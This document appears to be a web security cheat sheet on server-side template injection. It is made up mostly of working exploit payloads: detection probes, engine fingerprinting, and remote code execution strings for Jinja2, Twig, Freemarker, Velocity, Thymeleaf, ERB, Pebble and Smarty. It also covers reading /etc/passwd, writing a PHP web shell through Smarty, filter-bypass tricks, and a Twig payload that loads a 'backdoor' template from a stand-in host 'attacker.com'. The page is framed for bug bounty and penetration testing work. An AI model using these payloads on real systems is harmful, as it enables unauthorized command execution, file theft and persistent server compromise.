Skip to content
Web Security

SSTI

Server-side template injection with RCE for Jinja2, Twig, Freemarker, and more

Detection

Universal Test Payloads

TEXT
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
{{7*'7'}}
${{7*7}}

Expected Output If Vulnerable

TEXT
49          → Expression evaluated
7*7         → No vulnerability (escaped)
Error       → Might indicate template engine (read error message)
{{7*7}}     → Not processed (no vulnerability)

Engine Fingerprinting

Decision Tree

TEXT
{{7*'7'}}
├── 49       → Twig or Unknown
├── 7777777  → Jinja2
└── Error/49Try ${7*7}
    ├── 49   → Freemarker, Velocity, or Thymeleaf
    └── Try <%= 7*7 %>
        ├── 49 → ERB (Ruby) or EJS
        └── Try #{7*7}
            └── 49 → Pebble or other

Jinja2 (Python/Flask)

Basic RCE

PYTHON
# Simple command execution
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Alternative
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# Using request object (Flask)
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

Shorter Payloads

PYTHON
# Find subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Find subprocess.Popen (usually index varies)
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate() }}

# Using lipsum (Flask/Jinja2)
{{ lipsum.__globals__["os"].popen("id").read() }}
{{ lipsum.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Using cycler (Jinja2)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Bypass Techniques

PYTHON
# When . is blocked
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}

# When _ is blocked
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f') }}
{{ lipsum|attr(request.args.a)|attr(request.args.b) }}  # Pass via URL params

# When brackets blocked
{{ lipsum.__globals__.os.popen('id').read() }}

# String concatenation
{{ lipsum['__glo'+'bals__']['os']['pop'+'en']('id').read() }}

Filter Bypass

PYTHON
# Using |attr filter
{{ ''|attr('__class__')|attr('__mro__') }}

# Using request object
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

Twig (PHP)

Basic RCE

PHP
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig 2.x
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('exec')}}

# Twig 1.x
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

File Read

PHP
{{'/etc/passwd'|file_excerpt(1,30)}}  # If file_excerpt filter exists

RCE via Object Injection

PHP
{{_self.env.setCache("ftp://attacker.com:21")}}{{_self.env.loadTemplate("backdoor")}}

Freemarker (Java)

RCE

JAVA
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")>
<#assign rt=owc.newInstance()("java.lang.Runtime").getRuntime()>
${rt.exec("id")}

Alternative

JAVA
${"freemarker.template.utility.Execute"?new()("id")}
[#assign cmd = 'freemarker.template.utility.Execute'?new()]${cmd('id')}

Velocity (Java)

RCE

JAVA
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end

Simpler

JAVA
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))

Thymeleaf (Java/Spring)

RCE

JAVA
${T(java.lang.Runtime).getRuntime().exec('id')}

// Spring Expression Language (SpEL)
*{T(java.lang.Runtime).getRuntime().exec('id')}

// File path manipulation (preprocessing)
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

URL Parameter Exploitation

TEXT
GET /path?__${T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')}__::.x

ERB (Ruby)

RCE

RUBY
<%= `id` %>
<%= system('id') %>
<%= `cat /etc/passwd` %>
<%= IO.popen('id').read %>
<%= require 'open3'; Open3.capture2('id') %>

File Read

RUBY
<%= File.read('/etc/passwd') %>
<%= File.open('/etc/passwd').read %>

Pebble (Java)

RCE

JAVA
{% set cmd = "id" %}
{% set bytes = ("java.lang.Runtime".getRuntime().exec(cmd).getInputStream()) %}

Smarty (PHP)

RCE

PHP
{php}system('id');{/php}                      # Old versions
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']); ?>",self::clearConfig())}
{system('id')}                                # If security disabled
{$smarty.version}                             # Info leak

Bug Bounty Tips

Where to Look

TEXT
- Email templates (newsletters, notifications)
- PDF generation
- Error pages (sometimes reflect input)
- CMS custom templates
- Site customization features
- Report/invoice generation
- Dynamic headers/footers
- Greeting messages with names

High-Value Targets

TEXT
- Template preview features
- Admin customization panels  
- Notification settings
- Document generators
- Email previews

Exploitation Flow

TEXT
1. Detect: {{7*7}} → 49
2. Fingerprint: {{7*'7'}} → 7777777 (Jinja2)
3. Enumerate: {{ config }} / {{ self }}
4. Escalate: Find RCE path
5. Execute: Read sensitive files or run commands
6. Document: Show /etc/passwd or command output

Bypass Checklist

TEXT
Try different delimiters (${}, <%=%>, #{})
□ Encode special characters
□ Use |attr filter (Jinja2)
□ Split blocked keywords
□ Use request parameters for blocked chars
□ Try alternative execution methods
On this page